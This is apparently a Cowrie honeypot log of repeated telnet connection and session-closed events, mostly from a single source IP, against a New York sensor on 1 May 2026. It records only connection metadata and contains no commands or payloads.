{"eventid":"cowrie.session.closed","duration":30.37107253074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.241586Z","src_ip":"208.115.219.122","session":"f383102769d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143802404403687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.248708Z","src_ip":"208.115.219.122","session":"d3b0c41158b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44442,"dst_ip":"10.17.0.5","dst_port":23,"session":"50e1407ecaf3","protocol":"telnet","message":"New connection: 208.115.219.122:44442 (10.17.0.5:23) [session: 50e1407ecaf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.447181Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44452,"dst_ip":"10.17.0.5","dst_port":23,"session":"49f8c50eed5f","protocol":"telnet","message":"New connection: 208.115.219.122:44452 (10.17.0.5:23) [session: 49f8c50eed5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.546928Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44462,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d4be6f382f","protocol":"telnet","message":"New connection: 208.115.219.122:44462 (10.17.0.5:23) [session: 96d4be6f382f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.620620Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44476,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aecafa4ee55","protocol":"telnet","message":"New connection: 208.115.219.122:44476 (10.17.0.5:23) [session: 4aecafa4ee55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.012768Z"}
{"eventid":"cowrie.session.closed","duration":30.939756870269775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.018245Z","src_ip":"208.115.219.122","session":"edf00702e14d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44486,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cc366724b23","protocol":"telnet","message":"New connection: 208.115.219.122:44486 (10.17.0.5:23) [session: 4cc366724b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.057503Z"}
{"eventid":"cowrie.session.closed","duration":30.390493869781494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.096665Z","src_ip":"208.115.219.122","session":"c953510e7497","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95043158531189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.114841Z","src_ip":"208.115.219.122","session":"dac49622c938","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44496,"dst_ip":"10.17.0.5","dst_port":23,"session":"597350fa096a","protocol":"telnet","message":"New connection: 208.115.219.122:44496 (10.17.0.5:23) [session: 597350fa096a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.186024Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44510,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d580dbb9714","protocol":"telnet","message":"New connection: 208.115.219.122:44510 (10.17.0.5:23) [session: 5d580dbb9714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.264691Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44514,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcf3c673ba3b","protocol":"telnet","message":"New connection: 208.115.219.122:44514 (10.17.0.5:23) [session: bcf3c673ba3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.503545Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44530,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c15c67e4cb0","protocol":"telnet","message":"New connection: 208.115.219.122:44530 (10.17.0.5:23) [session: 0c15c67e4cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.515172Z"}
{"eventid":"cowrie.session.closed","duration":31.21113133430481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:34.584988Z","src_ip":"208.115.200.90","session":"92a8294f69e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021146297454834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.036222Z","src_ip":"208.115.219.122","session":"5994b052d019","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731236696243286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.204033Z","src_ip":"208.115.219.122","session":"e602a2264eaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa9f1b2748d","protocol":"telnet","message":"New connection: 208.115.219.122:38538 (10.17.0.5:23) [session: 1fa9f1b2748d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.268644Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f34524fa8f1","protocol":"telnet","message":"New connection: 208.115.219.122:38540 (10.17.0.5:23) [session: 6f34524fa8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.618216Z"}
{"eventid":"cowrie.session.closed","duration":31.017597675323486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.770347Z","src_ip":"208.115.219.122","session":"b5ff45161c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38548,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3470f7079f","protocol":"telnet","message":"New connection: 208.115.219.122:38548 (10.17.0.5:23) [session: aa3470f7079f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:35.789854Z"}
{"eventid":"cowrie.session.closed","duration":30.244267463684082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.011183Z","src_ip":"208.115.219.122","session":"74aa1d1a7989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38552,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd872bc74ff","protocol":"telnet","message":"New connection: 208.115.219.122:38552 (10.17.0.5:23) [session: 4dd872bc74ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.016768Z"}
{"eventid":"cowrie.session.closed","duration":30.416042804718018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.026330Z","src_ip":"208.115.219.122","session":"fb52870be446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837270498275757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.030032Z","src_ip":"208.115.219.122","session":"45bd136a70d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67928910255432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.033508Z","src_ip":"208.115.219.122","session":"947b0cdeffe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74864625930786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.040261Z","src_ip":"208.115.219.122","session":"17db0e8061f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38556,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac07a4a4691","protocol":"telnet","message":"New connection: 208.115.219.122:38556 (10.17.0.5:23) [session: 7ac07a4a4691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.064900Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38558,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a563736b818","protocol":"telnet","message":"New connection: 208.115.219.122:38558 (10.17.0.5:23) [session: 4a563736b818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.073238Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38560,"dst_ip":"10.17.0.5","dst_port":23,"session":"29300ba729ed","protocol":"telnet","message":"New connection: 208.115.219.122:38560 (10.17.0.5:23) [session: 29300ba729ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.086337Z"}
{"eventid":"cowrie.session.closed","duration":31.037356853485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.123617Z","src_ip":"208.115.219.122","session":"a3fed34e5f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38574,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1193fdff83","protocol":"telnet","message":"New connection: 208.115.219.122:38574 (10.17.0.5:23) [session: 9c1193fdff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.213362Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"7844d5867ec1","protocol":"telnet","message":"New connection: 208.115.219.122:38584 (10.17.0.5:23) [session: 7844d5867ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.219129Z"}
{"eventid":"cowrie.session.closed","duration":30.714539527893066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.354095Z","src_ip":"208.115.219.122","session":"e79ff254c9e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38600,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d5431fc5de","protocol":"telnet","message":"New connection: 208.115.219.122:38600 (10.17.0.5:23) [session: 17d5431fc5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.372411Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38610,"dst_ip":"10.17.0.5","dst_port":23,"session":"90fe4c74407c","protocol":"telnet","message":"New connection: 208.115.219.122:38610 (10.17.0.5:23) [session: 90fe4c74407c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:36.536552Z"}
{"eventid":"cowrie.session.closed","duration":30.45017099380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.021835Z","src_ip":"208.115.219.122","session":"1d9cc7c49a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.055967807769775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.036521Z","src_ip":"208.115.219.122","session":"0aeff7598ab2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76995873451233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.042884Z","src_ip":"208.115.219.122","session":"11ff7f5f538a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2817165851593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.047154Z","src_ip":"208.115.219.122","session":"1c73b7dc4951","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823864221572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.077828Z","src_ip":"208.115.219.122","session":"a7e04ff17fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"76298be556e6","protocol":"telnet","message":"New connection: 208.115.219.122:38622 (10.17.0.5:23) [session: 76298be556e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.100461Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38624,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6df7e557445","protocol":"telnet","message":"New connection: 208.115.219.122:38624 (10.17.0.5:23) [session: f6df7e557445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.143704Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ef03b16a8c","protocol":"telnet","message":"New connection: 208.115.219.122:38638 (10.17.0.5:23) [session: d7ef03b16a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.354260Z"}
{"eventid":"cowrie.session.closed","duration":30.750197649002075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.368659Z","src_ip":"208.115.200.90","session":"1e08f5fdf0f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38646,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7859205cff","protocol":"telnet","message":"New connection: 208.115.219.122:38646 (10.17.0.5:23) [session: 4e7859205cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:37.443326Z"}
{"eventid":"cowrie.session.closed","duration":30.122813940048218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.033030Z","src_ip":"208.115.219.122","session":"dfc1d25f95b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888736963272095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.093754Z","src_ip":"208.115.219.122","session":"334ef220d40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236167907714844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.185428Z","src_ip":"208.115.219.122","session":"96de897abe63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38658,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07d9a83e46b","protocol":"telnet","message":"New connection: 208.115.219.122:38658 (10.17.0.5:23) [session: f07d9a83e46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.220423Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38672,"dst_ip":"10.17.0.5","dst_port":23,"session":"03395a599cf0","protocol":"telnet","message":"New connection: 208.115.219.122:38672 (10.17.0.5:23) [session: 03395a599cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.269216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38686,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7639d062d8","protocol":"telnet","message":"New connection: 208.115.219.122:38686 (10.17.0.5:23) [session: ec7639d062d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.290377Z"}
{"eventid":"cowrie.session.closed","duration":31.22587752342224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.375989Z","src_ip":"208.115.219.122","session":"ff3f74a420c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.495266675949097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.427532Z","src_ip":"208.115.219.122","session":"245df3b2a0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38692,"dst_ip":"10.17.0.5","dst_port":23,"session":"234442a17dbd","protocol":"telnet","message":"New connection: 208.115.219.122:38692 (10.17.0.5:23) [session: 234442a17dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:38.431833Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38702,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca7af3c365f","protocol":"telnet","message":"New connection: 208.115.219.122:38702 (10.17.0.5:23) [session: 7ca7af3c365f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.019239Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38708,"dst_ip":"10.17.0.5","dst_port":23,"session":"a689bd37cd9e","protocol":"telnet","message":"New connection: 208.115.219.122:38708 (10.17.0.5:23) [session: a689bd37cd9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.247299Z"}
{"eventid":"cowrie.session.closed","duration":30.943528175354004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.335089Z","src_ip":"208.115.219.122","session":"5437149e5dbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38710,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f19bbfe0f75","protocol":"telnet","message":"New connection: 208.115.219.122:38710 (10.17.0.5:23) [session: 4f19bbfe0f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.356237Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38720,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d15f863d72","protocol":"telnet","message":"New connection: 208.115.219.122:38720 (10.17.0.5:23) [session: 80d15f863d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.616379Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38726,"dst_ip":"10.17.0.5","dst_port":23,"session":"709870a506bd","protocol":"telnet","message":"New connection: 208.115.219.122:38726 (10.17.0.5:23) [session: 709870a506bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:39.768216Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38728,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1870f985f24","protocol":"telnet","message":"New connection: 208.115.219.122:38728 (10.17.0.5:23) [session: a1870f985f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:40.088227Z"}
{"eventid":"cowrie.session.closed","duration":35.29593062400818,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:40.114390Z","src_ip":"24.199.85.165","session":"82b6c36e1712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"84df8f36af56","protocol":"telnet","message":"New connection: 208.115.219.122:38732 (10.17.0.5:23) [session: 84df8f36af56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:40.326188Z"}
{"eventid":"cowrie.session.closed","duration":31.00130271911621,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:40.603672Z","src_ip":"208.115.219.122","session":"8dede5e44950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d2a3366eff9","protocol":"telnet","message":"New connection: 208.115.219.122:38740 (10.17.0.5:23) [session: 2d2a3366eff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:40.907569Z"}
{"eventid":"cowrie.session.closed","duration":30.303335905075073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.011774Z","src_ip":"208.115.219.122","session":"e10824b78161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777261972427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.092716Z","src_ip":"208.115.219.122","session":"882f83d15dc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69656538963318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.097723Z","src_ip":"208.115.219.122","session":"4981c9d4a7db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dfbbd3a1e04","protocol":"telnet","message":"New connection: 208.115.219.122:38756 (10.17.0.5:23) [session: 3dfbbd3a1e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.131164Z"}
{"eventid":"cowrie.session.closed","duration":30.8672091960907,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.136264Z","src_ip":"208.115.219.122","session":"7845c6c98690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38758,"dst_ip":"10.17.0.5","dst_port":23,"session":"040dfe03c2ea","protocol":"telnet","message":"New connection: 208.115.219.122:38758 (10.17.0.5:23) [session: 040dfe03c2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.308051Z"}
{"eventid":"cowrie.session.closed","duration":31.117570400238037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.505687Z","src_ip":"208.115.219.122","session":"08e0e479b31b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38760,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dff8c2fc181","protocol":"telnet","message":"New connection: 208.115.219.122:38760 (10.17.0.5:23) [session: 1dff8c2fc181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:41.684586Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38776,"dst_ip":"10.17.0.5","dst_port":23,"session":"0044a69dab8d","protocol":"telnet","message":"New connection: 208.115.219.122:38776 (10.17.0.5:23) [session: 0044a69dab8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.035466Z"}
{"eventid":"cowrie.session.closed","duration":30.985783338546753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.044508Z","src_ip":"208.115.219.122","session":"df6fa041fc86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38788,"dst_ip":"10.17.0.5","dst_port":23,"session":"0380503a3458","protocol":"telnet","message":"New connection: 208.115.219.122:38788 (10.17.0.5:23) [session: 0380503a3458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.059398Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d3e3ef5ce01","protocol":"telnet","message":"New connection: 208.115.219.122:38800 (10.17.0.5:23) [session: 9d3e3ef5ce01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.108731Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2fc0de49d03","protocol":"telnet","message":"New connection: 208.115.219.122:38806 (10.17.0.5:23) [session: f2fc0de49d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.143264Z"}
{"eventid":"cowrie.session.closed","duration":30.87004828453064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.155492Z","src_ip":"208.115.219.122","session":"ae7cb6b38844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36086,"dst_ip":"10.17.0.5","dst_port":23,"session":"c799b6e1c602","protocol":"telnet","message":"New connection: 208.115.200.90:36086 (10.17.0.5:23) [session: c799b6e1c602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:42.162251Z"}
